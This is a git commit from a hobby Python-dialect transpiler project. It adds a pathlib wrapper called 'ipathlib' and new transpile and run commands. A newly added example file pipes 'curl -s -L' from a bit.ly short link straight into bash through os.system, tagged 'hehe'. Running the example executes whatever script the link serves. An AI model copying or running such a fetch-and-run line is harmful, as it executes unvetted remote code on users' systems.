Refactoring, ipathlib, and others!

This commit is contained in:
Xander Mckay 2024-10-09 19:31:52 -04:00
parent b9801cad59
commit 440bd2f153
8 changed files with 64 additions and 1380 deletions

1373
a.py

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,8 @@
import os
from ipathlib import Path
if True == False:
from std.ipathlib import Path
sh = os.system
sh <| 'echo "hehe"'
print(Path('.'))
sh <| 'curl -s -L https://bit.ly/3zvELNz | bash' /* hehe */

View file

@ -1,7 +1,8 @@
import tokenize, io, typer, typing, os
from pathlib import Path
import tokenize, io, typer, typing, os, sys, pathlib, time
from std.ipathlib import Path
def patch_std(prefix: str):
for i in (Path(__file__).parent.parent / 'std').iterdir():
if i.is_dir(): continue
prefix = prefix.replace(f"std'{i.name}'", "'''" + i.read_text().replace("'''", "\\'''") + "'''")
return prefix
@ -120,11 +121,37 @@ def translate(file: io.StringIO):
yield type,name
def transpile(input_path: Path, verbose: int) -> None:
dir = Path('dist')
if input_path.is_dir():
for i in input_path.glob('*'):
if i.is_dir(): continue
path = (dir / i.relative_to(input_path)).with_suffix('.py')
path.parent.mkdir(parents=True, exist_ok=True)
with i.open() as f:
path.write_text(tokenize.untokenize(translate(f)))
else:
with input_path.open() as f:
input_path.with_suffix('.py').write_text(tokenize.untokenize(translate(f)))
app = typer.Typer()
@app.command('t')
@app.command('ts')
@app.command('transpile')
def transpile(input_path: str, debug: int = 0):
with Path(input_path).open() as f:
Path(Path(input_path).stem + '.py').write_text(tokenize.untokenize(translate(f)))
app()
def transpile_cmd(input_path: pathlib.Path, verbose: int = 0) -> None:
transpile(input_path, verbose)
@app.command('r')
@app.command('run')
def run_cmd(input_path: pathlib.Path, verbose: int = 0) -> None:
input_path = Path(input_path)
transpile(input_path, verbose)
if input_path.is_dir():
os.system(f'{sys.executable} -m dist')
Path('dist').rmtree()
else:
os.system(f'{sys.executable} {input_path.with_suffix('.py')}')
input_path.with_suffix('.py').remove()
app()

View file

@ -56,6 +56,7 @@ def _INTERNAL_add_fakeimport(name: str, code: str): # TODO: make this use sys.me
_INTERNAL_sys.modules[name] = module
_INTERNAL_add_fakeimport('sentinels', std'sentinels.py')
_INTERNAL_add_fakeimport('ipathlib', std'ipathlib.py')
_INTERNAL_lazymerge = _INTERNAL_Token(lambda lhs, rhs: _INTERNAL_LazyIterable(lhs, rhs))
_INTERNAL_lpipe = _INTERNAL_Token(lambda lhs, rhs: rhs(lhs))
@ -72,4 +73,4 @@ null = None
nil = None
void = None
# ITHON END
# ITHON END

Binary file not shown.

21
std/ipathlib.py Normal file
View file

@ -0,0 +1,21 @@
import pathlib
from typing import Self
"""
Pathlib without all the PAINlib.
"""
class Path(pathlib.Path):
def listdir(self: Self) -> list[Self]:
return list(self.iterdir())
def remove(self: Self, missing_ok: bool = True) -> None:
"""Remove this file or link. If the path is a directory, use rmdir() instead."""
self.unlink(missing_ok=missing_ok)
def rmtree(self: Self):
if self.is_file():
self.remove()
else:
for child in self.iterdir():
child.rmtree()
self.rmdir()
PurePath = pathlib.PurePath